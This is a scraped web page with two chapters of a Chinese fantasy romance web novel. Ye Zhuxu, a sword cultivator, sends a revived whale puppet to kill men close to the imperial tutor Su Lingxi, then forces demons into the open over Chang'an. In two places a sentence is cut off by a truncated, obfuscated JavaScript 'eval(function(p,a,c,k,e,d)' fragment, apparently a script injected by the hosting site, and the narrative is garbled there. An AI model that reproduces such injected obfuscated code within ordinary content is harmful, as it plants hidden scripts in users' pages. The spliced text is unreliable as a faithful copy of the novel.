“指挥使锁定大妖动手之前还望告诉我一声,镇妖司与金吾卫要尽量疏解人群,另……” 苏聆兮话说至一半,一位内侍便低头进来,大热的天,从南院到北院一趟脸上都挂着汗,她站到一边,见苏聆兮眼神往她身上轻飘飘一瞥竟真停住话音,好似专门等她似的,大着胆子上前低声嗫嚅道:“大人……又送来了两位少年。” 苏聆兮直接皱眉。 薛淮在发什么病。 那人不敢再说了,凑到溪柳身边将剩下的话传达完了。只是在场几位都是什么修为,真要想听,蚊子哼哼都能听个一清二楚,遑论这个,尤其是那两句“大人特别喜欢的”“已经送回庄园了”,更是直接在脑子里徘徊,想忽略都难。 几人纷纷缄默。 苏聆兮神色如常朝他们告别,说辛苦两位指挥使与浮玉队伍,转身出了门,待跨出门槛,溪柳直接将内侍押下去处理了。 桑褚无意窥得人私密事,对此不置一词,保持良好的素养。田绛也不爱看桑褚道貌岸然的高洁模样,他同余临安挤眉弄眼,希望余临安懂她的意思。 这样听起来,苏聆兮在人间过得十分好啊,帝师,大权在握,听曲听戏听书还有年轻貌美少年郎相伴,他老姐怎么着不也得这样?说不定孩子都好几个了。 余临安不想说话。 他当然不可能说苏聆兮不好,她都忘了这能怪她吗? 就是。 叶逐叙这十四年岂非唱独角戏,不知该作何感想。 他忍不住抹了把脸:“这件事别说、” 话音正落到这呢,就闻一声轻轻的推门声,这声音跟敲到了余临安脑门上一样。 声音来自身后,那个才隔出两天的刑讯室。 转头一看。 叶逐叙倚靠在门边,身后是深邃无垠的幽暗,那种黑浓稠得化成了水,好像发丝一样能自上而下用手捞着捧起来。他两瓣眼仁也是这样极深如点漆的颜色,半晌眼珠才动一下,静静冷冷落在方才苏聆兮站着的地方,又慢慢扫到窗外。 站了不知多久,他倚直身体,一抵,将门完全推开。 平静地往外走。 一时间余临安后背发凉,汗毛倒数,只能疯狂摸自己的脖子缓解阴冷窒息的感觉。 没听见吧没听见吧。 刑讯室门一关,结界一放还能听到外面人讲话这不是说笑话呢么。 ……没强到这种地步吧。 12.第 12 章 夜幕笼垂,坊间一盏接一盏亮起的灯像慢慢迭起的橘红潮浪,散发着独属于夏夜的温吞热气。 叶逐叙先回了自己的庭院。 自从队伍里几个修傀术的合力将两棵钢铁巨树建起来,许多人都不回值房里睡了,嫌逼仄,闷热,不够开阔,他们更喜欢头枕星河入梦,有种徜徉在浮玉大海中的踏实感。 叶逐叙是异类,永远只出现在最孤僻森冷的地方,听不得丁点吵闹。这路从外向里,越走越静,等走进小院,踩着那条鹅卵石路进屋,月光已经在身后拖拽他的影子,拽得枯长扭曲,像只豢养在黑焰中见血封喉的可怖怪物。 屋里的黑更极致彻底,叶逐叙关上门,点了盏灯。 连着几日闭门闭窗,房里黄花木梨桌的香味渗出来,混合着一点淡淡的海水咸湿和血腥气,混成类似橘子皮奇异的辛辣。借着一线烛光,可以见到八仙桌上,屏风后的案几上以及地面上与榻上都散落着纸张,有的空白,有的写着字。 剑修大概都写得一手好字,尤其他似乎还分外专注,笔走龙蛇,每一道笔画都透着剑拔弩张的勃发之意。 满屋的纸由上至下扫过去,无不洇着深深浅浅的红褐色,有的还新鲜,有的已经干涸,满目殷殷,肃杀之意盘桓不散,暴躁尖锐,无处安放。 叶逐叙将烛台静置在桌上,不知过了多久,腰间令牌飘起来,一道纯白的柔和光团旋即漂浮在眼前。独属于“门”的圣洁下一刻驱散抚平了血腥,无声强悍的意志在深夜降临此间。 门没有实形,也不会无故降临京都,这是门与身为高塔大首领的叶逐叙之间特殊的联系方式。 “为何并无行动。”这是门曳动的意识,如在水中摇晃的水藻,安谧柔和,净涤心灵。 叶逐叙略一抬首,露出瘦削流利的下颌,语调太过平静,平静得好似根本不带恭敬:“提前准备些东西,另,等您指令。” “尽快诛妖。” “好。” 发出此令后,光团黯淡,力量消散之前告诉叶逐叙:“十五年至,天逢大难,既带队赴人间,此间一切由你负责,当诛噩秽,修性情,悯苍生。” 叶逐叙扯了扯唇:“是。” 在光团泯散的同一时间,叶逐叙眼皮轻轻耷下,旁若无人地从袖子里抽出一个瑞兽宝石匣。 这匣子在浮玉专用来储放贵重物品,可以缩大为小,封压活物,不论外间阴晴寒暑,匣里温度始终稳定宜人。有人热衷于给匣子做上独具一格的标记,或描金边,或雕花纹,或是设置各种各样的暗扣小锁彰显不同。 叶逐叙是个无趣至极的人,匣子到他手里时什么样,现在仍是什么样。 至于匣面上那条盘踞着首尾相扣的瑞兽以及由宝石嵌成的两颗眼睛,那并非他的手笔。又看得出时间当真过去许久,当初栩栩如生的兽雕已经磨没了灵气,闪闪发亮的蓝宝石光泽黯淡灰败。 叶逐叙弯腰,打开匣盒。匣盒分两层,第一层被均等地分为了十二道小格,有的空着有的丢了些东西进去。他没有多看,揭开第二层。 看得出来第二层原本也是一样的十二格,现在却被全部挖空了,注上了大半清澈的湛蓝色海水,水面上飘着条半个巴掌大小的鱼。 若这半盆水化作江洋,而鱼的骨骼扩宽,身体无限拉长,人们可以一眼分辨出来,这并不是鱼,而是一尾巨大的鲸。 在人间关于浮玉的传说里,少男少女们常驭着鲸深潜海下。 小鱼见到叶逐叙,感受到流动的空气,两眼一翻气一闭,身体瘫在水面上不动了。 叶逐叙笑了,好整以暇地问它:“是想再死一次吗?” 小鱼不得不睁开眼睛。 浮玉的鲸是由巫族自己造的,起初只是一团来自他们体内的源气,注入一点精血,再被慢慢雕琢出样子,放入深海成长,这样长出来的鲸与主人心灵相通,有灵气。 苏聆兮的鲸又比寻常的更具慧根一些。 不过那也是从前的事了。 苏聆兮离开浮玉后,鲸远离了宿主,原本就不是真正的血肉之躯,存活在世上倚仗的是宿主最初给的那团源气。春去秋来,寒暑交织,一年又一年过去,没有新的力量注入,苏聆兮自身本源又在日益枯竭,鲸庞大的身躯变得越来越小。 谁都以为它会在哪一天静静消散在天地间,事实上它死时轰轰烈烈,声势浩大。 苏聆兮离开后,叶逐叙许久许久没有出现在那片海域了。前几年鲸能感知到他有时会悄悄地来,匿在空气中,或者站在岸边高高的芦苇丛中,不知道在看什么,它那会还很天真,像苏聆兮在的时候那样用头拱他掌心,不知死活。 那是一年开春,天气好,云开雾散,惠风和畅,许多蓝鲸都浮在海面喷水。 惊灭剑的剑光是猝不及防间落下的,它从天而降,如燃着焰火的锁链径直破杀而下,将一尾缩水了大半的鲸当胸贯穿。海上乱作一团,惊呼与议论久而不散,认识苏聆兮的看不过去不是没有出面,但都不敢招他。 几天后余临安和几人知道了这件事,跑到他那扇常年禁闭的门口跳脚,问他是不是疯了。 谁也不知道。 苏聆兮的鱼死了,又没完全死。 惊灭剑摧毁了它的身体,也死死钉住了它所剩不多的那点源气。叶逐叙残忍地抽出了它,又给它捏了个躯壳,仍是鲸的模样,然而光洁的肌肤下潜伏着数以万计的剑光,它们死死绞缠着那点属于熟人的东西。 原本在海中游荡的鲸就这样成了剑傀,成为战斗时主宰杀戮的暴君,又极其矛盾的保留了一些原本的天性——由某个人从自身抽离,慢慢培养出的东西。 叶逐叙用自己的血喂养它。 这也造成了,这只剑傀同样矛盾,一边本能畏惧他,一边不得不臣服于他。 剑傀顶出半个脑袋,问他怎么了。 叶逐叙没有回答,他垂着眼蹲下身,从窗台小几的坐榻上捞起一张纸。 他方才面不改色跟门说这两天正在提前准备东西,实际上这就是他这几天所做的唯一一件事,用血蘸着,在纸上写下了一个个人名。 全是这些年同苏聆兮接触过的。全是男子。 叶逐叙偏了偏头,将纸轻飘飘摁在桌面,双掌一合,长指中拉出一道散发着惊心波动的剑光。他将这道剑光凝淬出来,像将柔软的蛛丝或棉线随意悬垂到树枝上一样,放进了剑傀的身体里。 这是可以杀人削骨的剑。 第一道挂上去后,他动作不停,很快拉出第二道,剑修的手指筋骨错落分明,苍白匀称,随意的动作也能做出有条不紊的美感。 叶逐叙常年穿着宽大的衣袍,实则身体清瘦孤拔,只是习惯全身上下乃至脖颈都被衣料包裹不见天日,此刻动作拉大,衣袖滑落,手指,腕骨与一截小臂暴露在烛火下。 他肤色极白,在光晕的烘烤下简直像薄薄的釉片,从高温窑炉里烧出来晾了没多久,甚至可以说略有瑕疵——若是盯着同一片皮肤仔细看,会发现他的双手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也就是这个时候,剑傀发现锋锐的线条顺着他眉骨下方叠下来,形成一团阴翳,或许是满屋皆是血色,或是烛光烧得正旺,他的眼尾竟也洇出一抹鲜艳的殷红,像吹可断发的剑身压在人咽喉上透出的色泽。 他像只浸在血泊里,压迫感强到挤压五脏六腑的危险恶鬼。 “我竟、” 叶逐叙喉咙滑动一下,极尽嘲弄,他审视过去的这些年,这十四年,在心中一字一句地补齐了。 在当年一事后。 他竟还为她开脱,不知寒暑,死性不改地等了几年,又几年。 也就在这时候,叶逐叙手中扯出最后一根剑光,精准地落到了剑傀头上,奇异地隐入它体内。 他倏而停下动作,掀了下眼皮,不知在问谁:“十根,够吗?” “没事。” 他今夜似乎极好商量,极好说话:“不够再找我拿。” 说话时,不知是因为受伤,还是因为即将杀人的兴奋,亦或者是些别的什么,生死险境下握剑也纹丝不动的手指缓而轻地颤栗,叶逐叙垂首看了会,一根根掰直。 “去吧。”叶逐叙居高临下地看着剑傀,启唇:“一个不留。” 剑傀消失在黑夜里。 须臾,叶逐叙抓着惊灭,推门出去。巨大的钢铁树仍在长风中簌簌响动,树上之人均已熟睡。 13.第 13 章 苏聆兮回了帝师府。 大胤臣子对宅邸布置十分上心,既讲究“近天地以尊荣”,又要求“藏风聚气”保家族财气汇聚,兴盛不衰,内院乾坤。用青砖白墙合围四面,立巍峨门楼,栓巨大石狮彰显地位。 苏聆兮不在意这些,帝师府因此独树一帜。门前既无围墙,也无牌匾,就连镇宅用的墩子也不见踪影。 推开门,最先看到的并非环环相接的廊庑,葳蕤攀生的花木,而是长长的鹅卵石道后,正堂前挂着的一面水银镜,在夜里尤为渗人。苏聆兮很喜欢这面镜子,不论才回府上还是正要出府,都会在镜子下站一会。 谁也不知她乐此不疲看的是什么。 溪柳压低眉眼飞快略了下四周,如实汇报:“大人,南墙边与北后院都有人。” 倒也不是出去一趟她实力有了多大的提升,实是因为府上肉眼可见又凋敝了些。 两年前溪柳上任时内心紧张,曾细致观察过府上一切,那时帝师府比这热闹恢弘许多。 热闹并非奴仆多,恢弘亦非建设奢靡,而是细节处暗藏乾坤,大有神通。府上曾经凿了个池塘,就在曲廊之下,不大,可这满池的水好似在海面上奔涌,尤其下雨天,浪花掀起极高,好似能将人吞没。池塘里种了荷花,百余朵竞相盛放竟只需刹那。 府中假石丁点不假,倒挂下来的水流真像山崖间的瀑布。 苏聆兮并不是个两眼空空心静如水的,她有无尽的好奇心,会有玩心大发的时候。常倚着栏杆听着雨,随手给池塘里的胖锦鲤撒下一把鱼食,溪柳彼时生硬地溜须拍马,不敢夸她,只夸鱼养得好,她便觉得好笑一样懒懒抻下腰,道这就叫好啊,有的鱼无需喂,自己能将自己养得比这胖上百倍,每到……说到这,她会停下来。 停很久,歪着头认真回想,好像出口的时候自己都不知道自己要说什么。后面实在想不起来,她脸上的笑就会淡一些,静默,用手指点点脑袋自我调侃:“我才要说什么呢,又忘了。人年龄大了忘性就是大。” 实则不然。帝师有极为可怕的过目不忘的本领。 她年岁并不大,是有史以来最年轻的帝师。每次看到她站在一群头须皆白的老头里淡然地舌战群儒,总叫人恍惚,觉得格格不入。 只是因为一些事,注定会忘记一些东西。 陛下说这并不重要,伤口的腐肉削得干净方能更快更好地愈合。 到了今年,不论晴雨,几乎不会再看见池塘边袅袅燃起的香,里面的水流变得缓慢,荷花不再开,池塘成了真的池塘,而假山也真成了假山,挂上了蜘蛛网。叫人叹为观止的神通在以肉眼可见的速度消失。 帝师府越来越清冷。 也无人重新修缮。 经久不变的好像只剩伏于四野的敌意。 “嗯。”苏聆兮折了根抽了穗的草,正伸进鸟笼里逗两只拖着漂亮尾羽的鸟。好些时日不见主人,这两只鸟一改调皮的姿态,将脑袋偏过来蹭人手指,相比这件事,她显然更关心另一件:“言王那边怎么回事,查了么。” “好不容易安插进镇妖司的暗桩,说不要就不要了。”她拍拍手指,掀了下眼:“为什么。” 就为了跑到她跟前说给她送了两少年? 诚然,苏聆兮关押陈尚说的那些话别有用意,可薛淮的反应更叫人吃惊,送了少年这事,他们的人跑去跟薛茴告状也比来自己跟前复述来得让人好理解。 更何况这招本身就是昏招。 “已经在查了。”溪柳顿了顿说:“属下按大人的意思吩咐让将两位公子送回各自府上,但礼部尚书家那位四公子不肯走,说想见大人一面。” 那只色彩更鲜艳的珍珠鸟冷不丁啄了苏聆兮一口,她慢吞吞啊了声。 “要见我。”苏聆兮仍在看鸟,问:“因为什么。” 溪柳摇头。 苏聆兮看了看月色,收回手指,将双手放进打了热水的铜盆里浸着,而后用帕子擦干净,说:“我记得他,比他兄长聪明。” 礼部尚书的兄长,也就是陛下昔日的驸马。 “走吧。赶巧今夜无事,去见见他。” 溪柳一边吩咐仆从备马,一边又跟上前道:“大人,上回重阙楼一案中金吾卫校尉简肃表现不错,属下查过他,没什么身世,跟朝中大员也无牵扯,我们要不要用?” 苏聆兮看了看她:“放你手下练练,不要委派重任。” “好。” 帝师府仆从不多,胜在训练有素,苏聆兮与溪柳踏出府门时,两匹骏马已经由人牵着缰绳等候着了。 苏聆兮翻身上马,信手一拽,在呼啸而来的风声中朝郊外疾驰,溪柳紧随其后。马蹄声在寂静的街市里传荡出很远,巡街的金吾卫迎面过来,呵斥声往往还未出口,就在溪柳掌中摁住的令牌中噤声。 一路畅通无阻。 苏聆兮不在乎身外之物,帝师府都不常回,遑论别处。这宅院是她名下为数不多的私产之一,就在几街之外,地段没那样好,胜在僻静,是早几年前的御赐之物。大内来了人修缮,但她看了又看,还是自己手画了图纸,另找了工匠慢慢修整。 她不常来这。这宅子从前是张谨之住着。 这两年空置了。 知道帝师府送不进人,言王塞人竟往这儿塞。 苏聆兮勒绳下马,看着门匾上的字嗤笑了声,将马鞭握在手中掂了掂:“我当真越来越看不懂他了。” 溪柳不知该接什么,保持缄默。 小院里熄了灯,在黑暗中曳动的光团是小公子手中提着的灯盏。他执意要站在门口等,听到动静的第一时间抬起头,见到苏聆兮眼中一亮,拱手做礼,紧绷的声线倏的变得轻松:“草民魏时弦拜见帝师。” 苏聆兮为他声音中的如释重负侧目,仆从点上了正堂的灯,庭院中多了丝人气,她跨进堂中,擦身而过时对他道:“进来吧。” 魏时弦顺从地跟在她身后。 高门大户里培养出的小公子,守规矩懂礼节识大义,满腹诗书,满腔抱负,十七岁又是尤为特殊的年龄,不论怎么故作老成装胸有成竹也仍会不自觉忐忑,眼神再坚定还是会在对视时躲闪,稚嫩而不自知。 苏聆兮在首位坐下,看着他轻声道:“说吧。” 魏时弦是听着苏聆兮的各种故事长大的,应当说身边同龄的小公子小女娘皆是如此,即便她不并不疾言厉色,以气势压人,仍觉压力顺着脊柱攀上双肩。不敢阿谀奉承,不敢故作姿态,当即屏息,虚虚握拳道:“……今日之事,是言王殿下下的命令。” “我知道。”苏聆兮说:“现在回府,帝师府并不会为难你们。” 魏时弦默了默,忍不住看苏聆兮。帝师今年三十二,美貌已经沉淀为她身上最不足为人道的优点,看着她时,下意识的动作甚至不是欣赏,而是躲避,不敢与之对视。 “草民愿意侍奉帝师。”他听见自己这样说。 室内安静了一会。 苏聆兮站起来,走到他身边,裙边垂进他的余光里,是稳重的靛青色。她声音没什么变化,好似摇了下头:“来前我说你是个聪明人。如果这就是你想和我说的话,还挺令人失望的。” 魏时弦将心中腹稿全盘托出:“……陛下与王爷都看重帝师,今日之事王爷开了头,一次不成未必没有第二次,大人日理万机,如果不想为这等事烦忧,为何不寻个人,也寻道借口。” “草民去岁做的文章大人看过。草民知道什么事情能做,该什么时候做,不该贪的绝不贪,不该图的绝不图。” 当真年轻,也当真天真。 苏聆兮道:“你抬头。” 魏时弦听话地抬头抬脸,画像能被苏聆兮看上递给身为君王的薛茴,真人自然是只有过之而无不及。事实上苏聆兮只是看了看他的眼睛,看到里面属于自己的倒影,低声问他:“你怕死吗?” 魏时弦心里一颤,脸色惨白。 “怕死还敢自荐枕席?” 苏聆兮耐心等了一会,再次道:“说吧。” 魏时弦双掌紧握,悬于袍边,深吸一口气艰难道:“本是……家丑不外扬,是近些时日家中发生的事太怪了,实是难以解释。” 苏聆兮脚步停下,半晌踱步回到方才的宽椅前坐下,府上从侍给沏了两盏热茶上来,又搬来了芭蕉扇扇着。 “七年前为陛下选驸马……我们家的情况,大人知道的。”魏时弦道:“尚书府中兄弟姊妹不少,可除去借住的几房表姊妹和上京备考的堂兄弟,到我们这辈,手足也就五个。草民排第四,上头两个姐姐,一个兄长。多年前就出嫁了,兄长长我八岁,当年尚了公主,只是他生性放浪,后负深恩,有此报应也是罪有应得。” 魏时弦看了眼苏聆兮,实在看不出什么,艰难往下说:“陛下登基后,外面众说纷纭,说兄长是生病了,送到庄园里养病去了,也有说陛下不想再看见他,送到外地流放去了,实则,兄长离世前回来拜别过父亲。那时他已经服药了,宫里的公公就在外面守着。” 他深深吸了口气,挤出荒谬的苦笑:“但最近,他回来了。” 溪柳猛的扭头看他,将他从头到尾看了一遍,似乎在分辨他是不是脑子出问题了。 “草民知道而今各地都不如从前安定,但这不是妖,是鬼。”魏时弦苦笑了下:“回来的也不是别人,是陛下的驸马。” 说白了,就算是妖,一听这棘手的要命的身份和牵扯,镇妖司接起来都够呛。 苏聆兮敲了敲桌沿:“回来是什么意思,你又是什么时候觉得奇怪,说清楚些。” “最早是今年年初,元旦前后。” 魏时弦回忆起事情始末,只是说起这件事就面无血色:“兄长的存在同他的死成为了尚书府的忌讳,平时无人敢说,害怕触怒陛下。我父亲在朝为官多年,一惯待人真诚,直率热情,此一事后仍有不少人与我们断绝了来往,怕被牵连,我们自然更是谨慎。可就是那天,草民和幼弟一同在书房接受父亲考校功课,许是幼弟顽劣,惹得父亲勃然大怒,而后又一拍桌椅长声叹息,说若是你兄长还在便好了。” 魏时弦当时便惊住了。 “我只以为是父亲气急了才说这话。”魏时弦嘴角动了动:“过了两个月,到开春时,父亲突然对我说兄长便是在春日走的,离开已有三年了。” 陛下登基至今三年,魏时铭死了可不正是三年么。 魏时弦觉得自己的父亲不对,很不对,混迹朝堂的老人,风风雨雨一生都过来了,怎么还越来越没分寸了。这些东西岂是能说的?陛下仁慈,即便是闹出那样的丑闻来也就此打住了,魏家日子照过,官照当,已是相当圣明留情了。 “又过了一月,眼看父亲提起兄长的次数越来越多,我心中越来越不安,就怕祸从口出。于是找了时间提醒了他,谁知父亲还不高兴,斥责了我一番,并对我说日后不许再说这样的话,否则我兄长回来会不高兴。” 再怎么冷静端方,言行有状魏时弦也只有十七岁,少年自有一股热血,有时候为了心中那股劲什么也敢干,有时候却两腿一软只想跪。 毫不夸张地说,魏时弦现在想想那个场景都觉得有冷汗往鬓发里淌。 溪柳都安静下来了。 “我想了许多种可能,觉得父亲可能是连日操劳,压力大了,得了癔症,还想方设法请大夫为父亲把了脉,然而并非如此。等到五月,父亲一天夜里将我叫到书房,同我说我兄长再过两月就要回来,我可为他准备了什么礼物。” “又过了两日,我幼弟拿着功课来找我,说话时也问了同样的问题。他说四哥,你为三哥准备了些什么。” “五月二十五,我父亲生辰,我二姐姐归家为父亲贺寿,留在家中吃了顿饭。走前拉着我说家中可是发生了什么,为何宅子里死气沉沉。”怕两人不懂其中缘故,魏时弦解释道:“我二姐姐正午出生,自小就爱说这些。” 然而从未有那么一刻,说得魏时弦想直接跳窗过。 “六月二十六。我第一次在府中见到了陌生的背影,白靴,白衫,白玉冠,与我三哥死的那天一样。” 说到这,魏时弦苦笑都拉不出来了。 “自此,草民不敢在尚书府住了,连着好段时间都找借口宿在好友家……”因为魏时铭的事,更不敢出去寻花问柳,尤其是听闻帝师有意让自己进宫侍奉陛下,别说花楼花酒,他在外面连喝口茶水都要嗅了再嗅,生怕中招。 一次尚能说是个人无德,两次皆如此,那不就是成心跟陛下过不去么。 这等事也不敢往外说,只好生生憋着,越憋越怕。现在回到尚书府,谁在他耳边说声话他都能汗毛倒竖,夜夜睁眼到天明。 只是没想到没等来入宫,等来了言王的口信让他们来取悦伺候帝师。 有家不敢回,陛下那边因为有哥哥这一层关系,也是伴君如伴虎,看来看去,帝师苏聆兮居然成为了最好的选择。不论别人怎么说她怎么骂她狂悖,她做的事就摆在明面上,任人评价,许多小郎君私下十分崇拜她,只是不敢表露。且无论如何,她对小公子是好的。 至少没有人因她掉过脑袋。 苏聆兮皱了皱眉,每逢上朝几位尚书的脸她是不想看也会看看,此时脑子里一搜寻,没觉得有不对的地方。 她看了看溪柳,溪柳也冲她摇头。 山鬼精怪多藏于山川江河,远离人烟的地方,它们本源脆弱,一击即溃,往往没什么力量。长安城,天子脚下,它们来了就散,就算别有机缘,后面那十几座阵法一支起来,也会立时灰飞烟灭,不可能在尚书府中兴风作浪。 是妖? 不干净的东西作祟还是不干净的人作祟犹未可知,苏聆兮手肘支着下颌想了会,问魏时弦:“你想如何做?” 魏时弦人生从未如此迷茫过。 他怕死,谁不怕死?但比起干脆利落的死,他更怕被活生生吓死。 “不论镇妖司,还是大理寺,都不可能凭你一己之词闯入朝中三品大员府邸拿人。” 苏聆兮不知多少次平静地拒绝小少年的示好:“我也不需要人伺候。” 魏时弦憋不出话来了。 苏聆兮看了看他,从椅子上起身,如云朵般从他身边轻轻擦过,紧接着魏时弦感受到自己双肩与后背的位置被细而有力的手指贴住,蜻蜓点水般一触即散。 见他没主意,苏聆兮替他拿了主意:“这是镇妖司的符篆,我拿着改了改,足以对付寻常邪物。” “走吧。”她率先往外走,道:“我顺路送你回去。也看看尚书府。” 魏时弦长舒一口气,如找着了定心骨般跟着往外走。 尚书府跟帝师府离得不远,同镇妖司也离得不远,每边都隔着三条街。 三更天,静夜沉沉,浮光霭霭,灯影寥寥待散。 镇妖司北院两棵交缠的钢铁树在无声地拔高,抽长,就像埋于厚厚土层中的春笋,经过几声春雷,几场春雨,蓄势待发地汲取到了某种力量,卯着劲无法无天地放肆生长。 它被结界包裹着,寻常人看不见它的身影,而随着枝丫扩散,主干如虬龙般隆起,游扫,叶片不断冒出来又不断与新的枝干摩挲,发出冰冷的声响。 在这些声响中,十数个由剑光组成的银色剑罩不甚轻柔地罩在了在树上躺得四仰八叉的人身上。 好几双眼睛同时警觉地睁开,也有人毫无所觉地翻身换了种睡姿。 叶逐叙踩着钢铁树送上的枝丫,一步步往高处走,直到整座皇城尽收眼底,直到皇宫中有灿灿的金光盘踞闪烁起来,对他的存在表达出不满与排斥,发出隐隐的警告。 而从始至终,他双手安静地垂在身侧,惊灭悬在一边,长风无所忌惮吹起他的衣角,吹出劲瘦挺拔的轮廓。 长安城的人太多了,鱼龙混杂,气息万万道,这让他并不能和从前一样在第一时间找到苏聆兮。 锁定她。 他耐心翻找,从府邸到街市,从笙歌阵阵的坊间到万籁俱寂的京郊。 不久。 叶逐叙睁开眼睛,视线缓慢挪移到城中某一处。苏聆兮翻身下马,在摇曳的红灯笼下一清俊出尘的男子说话,她姿态随意,穿着宽松劲爽的骑服,并不避讳暗中窥伺的视线,指一指府邸,于是那人也跟着看她指的方向,看她时又慢慢咬起唇,脸色一会红一会白,苏聆兮好似被这种情形逗得笑了下。 不知是真忍俊不禁,还是在安抚对面的小公子。 叶逐叙的目光长久地凝在苏聆兮的脸上。 瘦了很多。 也变了很多。 在梦里苏聆兮的容貌没这么清晰,没这样生动柔软。他总是看不清她的脸,只能看到她咬出齿印的嘴唇和转身绝然的背影,还有一点抓也抓不住的靛色衣角。 叶逐叙感受到了她的气息,在对面小公子的身上,双肩与脊柱的位置。 她的术法和气息都很好辨认,很香,像馥郁的栀子花。 十四年前她并不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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另一边钢铁树上的人也醒了。彻底醒了。 桑褚先翻坐起来,发现自己被剑光笼罩,寒芒吞吐,又看叶逐叙那不管不顾要将整个长安撕碎一样还不让人插手的架势,脑袋里一根筋突突地跳。 “什么情况!”不远处两根枝丫中间有人揉眼睛,难以置信:“这是半夜突然打起来了?怎么没人通知。” 余临安默默抱住了头,冲着一边崩溃干嚎:“别干看呐。学傀术的呢学傀术的赶紧把树撕开,还打呢,还打镇国印要把我们镇进树里了!!” 黑暗中不知有人在哪着急忙慌地接,声音含糊不清坤得要死:“解着呢解着呢,在解了。” 更多的人在默默骂脏话。 草了。 这都怎么回事。 叶逐叙在这个时候落下第二剑,他道:“锁。” 随着他一字落下,好像有相对较弱的东西被强行定住锁在了原地。那东西很聪明,很快反应过来,隐进身后亮起的万户灯火中。 苏聆兮往身后一看,从袖子里抽出的一根香慢慢放了回去,她面色凝重。 因其身后,黑暗中无数道黄金兽瞳亮了起来。 包括溪柳与魏时弦都面色挣扎地站在了同一条线上,一前一后,眼睛里光晕似金非金,妖异流转。 那东西开了场域。 场域中所有人受它控制。 开了场域便只能强行破除,可现在问题跟那天对付鬼面髅不同。当时鬼面髅真身在她手中,杀了就杀了,可黑暗中这东西是什么,真身在哪都没定数。要强行杀的话身后四个坊区两条街道,至少数万人将全部跟着陪葬。 那损失太大了,谁也承受不起。 苏聆兮看了看皇宫,那里悬着一道金光,金光对准了叶逐叙与两棵钢铁巨树。 那是什么苏聆兮再清楚不过了。 镇国印。 天地万物相生相克,浮玉对皇族有着帮扶的责任,但为避免人间沦为浮玉的傀儡场,镇国印也同样操着因果,压制着浮玉之人。这也是桑褚等人最为忌惮的。 这万人一死,甭管什么理由,人间和浮玉的关系都完了。 偏偏叶逐叙这时候也在看她,他此刻似乎又同前几天初见时一样,轻轻牵着嘴角,眼睛也慢慢弯起来,漂亮得要死,也恶劣得要死。 惊灭在数十道震颤的瞳孔中轻轻一斩,如有实质的肃然杀意霎时洞穿绞杀了一切,浩荡袭来,锁定的好像恰是身后整片区域。 他是真的不管不顾,锁定了就要完全摧毁。 叶逐叙落剑,也吐字:“杀。” 苏聆兮其实已经很久没有全力以赴出手过了,毕竟她力量所剩不多了。 然而此时不知是怎样的本能,她冷着脸掼着魏时弦的肩往身侧一甩,难以想象的力量爆发,将循规蹈矩活了十七年的小公子从街的这头生生甩出数十米,甩到街道另一道,鼻子和眼睛离那边一间铺面的门板也就只差了手指长的距离。 但这还没完。 雪白的剑光在这一瞬袭杀而至,原本大概要穿透身体见血见肉见森森的白骨,因为苏聆兮这恰到好处不偏不倚的一甩,到底换了个位置,从侧肩挑进衣裳,挑了一周,并挽了个技艺高超的剑花,将苏聆兮给的三张符篆悉数挑下,铮铮钉进一侧门板中。 苏聆兮将人甩开后不再管魏时弦。 她身法其实很快,极快,踏着屋檐跃到钢铁树上,再从钢铁树的枝干踩着上去,身体像柔软的缎带一样飞旋起来,与那个好像站在云端,站在风里垂眸戏弄众生的人擦身。 叶逐叙只是看着,没有躲,漆黑眼珠随着她的动作缓慢转动,看不出眼中情绪。 苏聆兮在剑光里和飒飒风里稳稳地抓住他握着惊灭的那只手,抓得轻而易举,而后像掰手腕一样掰到一边,让接下来可能蓄积着轰然落下的万钧剑光全部偏移。 继而一怔。 叶逐叙手上没什么劲,杀意腾腾的惊灭并没有蓄力。 没有下一击。 他知道不能落下这一剑,也没有这个打算,先前出剑似乎只是为了吓唬人。 或者说,他的恶意本身就是冲她来的。 苏聆兮脸色不太好看,按理说她不该真觉得他会在长安大开杀戒。可她没法不急速赶来,就像无法相信一个戏谑的疯子能在关键时候保持理智一样。 理智与本能直觉撕扯的感觉让人极为不舒服。 桑褚等人也都出来了,余临安抽着气飞奔过来,在叶逐叙身边一迭声道:“别这样,别这样,冷静,不要冲动。” 众目睽睽下,苏聆兮缓缓松开叶逐叙的手。 理智回笼。 她自然看得出来,叶逐叙今夜出手三剑,至少逼出了三只妖物,这是诛妖队日夜巡逻后的漏网之鱼,对他们肃清长安十分关键。即便出手冲动突然令人猝不及防,心脏跟着砰砰乱跳,可结果摆在这,难道还要要求事事尽善尽美? 跟苏聆兮脸色一样不好看的是桑褚,他强压着火气开口:“指挥使,你下次出手之前能和我们商量下?我们毕竟是个队伍,出了事不是你一个人的责任。” 叶逐叙并不看他,声音略有些低:“门的命令。” 桑褚顿时一哑。 苏聆兮调整好心绪,垂眼看看自己的手,又顺势侧首看叶逐叙。 刚刚握住这只手的时候想的很简单,要将惊灭控住,发觉它原本就是泄力状态后别的感受才涌上来。 很凉,惊心的凉,每一截指骨都好像是冰塑成的,经年不化,也很难想象那等爆炸般可怖的攻伐力是从这只手中爆发出去的。因为其实握着它们时,显得很乖顺。 叶逐叙并未收剑,袖袍此时遮不住什么。 突出的腕骨,随意摁在鞘边的修长手指,每一根起伏的线条都包裹着涌动的力量,又因为常年不见阳光,肤色更白,仔细一看,皮肤上细细密密的纹裂像摔坏了但没有完全坏掉的盏,被皮肉和经络勉强撑起来,情状诡异。 毫无遮挡,一览无余。 注意到苏聆兮目光一瞬间的变化,叶逐叙也跟着看向自己的手,食指与中指轻轻蜷了下,又慢慢抵回原位。 他眼睛里像洇了墨,瞳色极深,更衬得眉目璀然,勾勾唇好似又有些想笑:“很丑吗?” 话音甫落。 